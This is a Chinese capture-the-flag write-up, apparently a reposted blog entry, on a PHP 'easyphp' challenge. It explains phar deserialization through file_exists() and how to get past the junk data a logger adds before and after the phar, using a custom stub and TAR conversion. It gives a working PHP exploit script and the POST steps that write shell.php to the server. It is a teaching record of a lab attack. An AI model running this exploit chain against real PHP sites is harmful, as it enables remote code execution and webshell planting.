网络安全平台测试赛 easyphp(phar脏数据处理)
昨天的比赛,14.00-17.00.时间有点紧张,比赛期间没拿下来这道 😭非常痛苦,很顺畅的思路 一步步想下来,卡在最后一步末尾脏数据处理了,最后时间到了 没打通,还需多练
这里本地复现一下:
看一下附件里的 logger.php
filename = $filename; $this->endContent = $endContent; } function info($content){ !file_exists(dirname($this->filename)) ? mkdir(dirname($this->filename)) : ""; $content = "Type:INFO Messsage:$content"; $file = fopen($this->filename,"a"); fwrite($file,$content); fclose($file); } function __destruct(){ $this->info($this->endContent); }}$time = time();$logger = new Logger("log/info.log","Close at $time");$fileName = $_POST['file'];$userName = $_POST["name"] ?? "nothing";if (file_exists($fileName)){ echo "File exists"; $logger->info("$userName");}else{ echo "File does not exist"; $logger->info("$userName");}?>
审一下,大题就是 POST传入file和name参数,执行file_exists($fileName) 不管是否存在,都会执行 $logger->info($userName); logger::info()函数功能为 往 $this->filename里 fopen($filename,"a") 写入传入的name参数的内容。 也就是往 log/info.log里。
然后函数执行完毕,对象销毁的时候,执行一次 __destruct()函数,再往log/info.log 写入 Close at $time
由于不存在反序列化函数unserialize(), 因此这个$logger这个对象里 $this->name 是不可控的,就是 log/info.log
$logger = new Logger("log/info.log","Close at $time");
但是 file_exists()会触发phar反序列化,同时结合上面 我们可以写入 log/info.log文件,那我们是不是可以通过 post name参数,post 一个我们构造好的phar文件内容,写入到 log/info.log文件里。由于phar:// 协议可以解析其他后缀(主要是看文件内容,不看后缀), 因此我们再次通过file_exists()去触发 phar反序列化,触发__destruct(),从而 通过 构造好的序列化meta数据 $this->filename, $this->endContent 往filename 写入我们要执行的命令(🐎)
原理是这样,没错。 但是,,, 你看看log/info.log里的东西
payload为我们phar文件内容,但是很明显info.log并不是纯正的phar文件,里面有脏东西的,,
由于签名部分的存在,php会校验文件哈希值,并检查末尾是否为GBMB,如下是解析部分的源码:
phar文件的格式,签名 不允许他前后有东西,解析不了 这怎么办????
这里涉及到了脏数据的处理,解决方法:
(1) 绕过前面的脏数据
这里我们可以看到,它前面会给我们加上"Type:INFO Messsage:",phar文件是有签名标准的,签名多了这么一段 会使得签名无效。但是这个是很容易绕过的,这个就比较类似于 之前phar题里的一种图片头绕过,前面需要是GIF89a 。我们只需要在生成phar文件时 setStub 代码里改成
$phar = new Phar("poc.phar"); //文件名$phar->startBuffering();$phar->setStub("Type:INFO Messsage:"."");$phar->setMetaData($c);$phar->addFromString("test1.txt","test1");//签名自动计算$phar->stopBuffering();
这样在生成文件的时候,会自动前面好,因此这个是非常好绕过的。我们来010editor里看一下生成的phar文件里是什么:
可以看到前面加上了 "Type:INFO Messsage:"。
回到这道题,我们可以在这样生成phar文件之后,由于题目往log/info.log文件里写内容时,会自己加上"Type:INFO Messsage:",因此我们只需要给 name传构造好的phar文件里"Type:INFO Messsage:" 后面的文件内容(url编码一下) 就可以解决前面脏数据对phar文件解析的影响
但是,在文件执行完,对象销毁的时候,他还会往log/info.log 里写进其他的东西,md 后面又多了一段脏数据: "Type:INFO Messsage:Close at 1677925012" 当时就卡这里了
(2) 通过 tar 绕过phar后面的脏数据
phar文件如果末尾不是GBMB会直接导致解析失败。我们知道一句话木马由于有这样的头尾标识存在,可以无视前后脏数据;然而对于phar,这样的骚操作被签名部分阻止了
那这个没法绕过吗? 可以的 。
利用convertToExecutable函数,我们可以把phar文件转为其他格式的phar文件,例如.tar和.zip格式
如果以 tar文件格式储存phar,会使得它不会受后面数据的影响,(这是tar的格式决定的)
当然不止有tar,还有其他格式,对应的转化代码:
convertToExecutable(Phar::TAR,Phar::BZ2);//会生成xxxx.phar.tar.bz2$phar = $phar->convertToExecutable(Phar::TAR,Phar::GZ);//会生成xxxx.phar.tar.gz$phar = $phar->convertToExecutable(Phar::ZIP);//会生成xxxx.phar.zip
这里注意就是
$phar = $phar->convertToExecutable(Phar::TAR); //会生成*.phar.tar**$phar->startBuffering();$phar->addFromString("Type:INFO Messsage:","");//tar文件开头是第一个添加文件的的文件名,注意添加的文件顺序不要错了$phar->setStub("Type:INFO Messsage:".""); //设置stub$phar->setMetadata($test); //将自定义的meta-data存入manifest//签名自动计算$phar->stopBuffering();
exp如下:
';}$log = "Type:INFO Messsage:";$log_len = strlen($log);$phar = new Phar("a.phar"); //后缀名必须为phar$phar = $phar->convertToExecutable(Phar::TAR); //会生成*.phar.tar**$phar->startBuffering();$phar->addFromString("Type:INFO Messsage:","");//tar文件开头是第一个添加文件的的文件名,注意添加的文件顺序不要错了$phar->setStub("Type:INFO Messsage:".""); //设置stub$test = new Logger();$phar->setMetadata($test); //将自定义的meta-data存入manifest//签名自动计算$phar->stopBuffering();$exp = file_get_contents("./a.phar.tar");$post_exp = substr($exp, $log_len);echo rawurlencode($post_exp); //urlencode输出数据流
生成exp后
先post name=exp&file=aa
然后post name=&file=phar://./log/info.log去触发phar反序列化
成功写入shell.php
参考:https://www.cnblogs.com/yyy2015c01/p/phar-deserialization.html
来源地址:https://blog.csdn.net/weixin_63231007/article/details/129344165
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341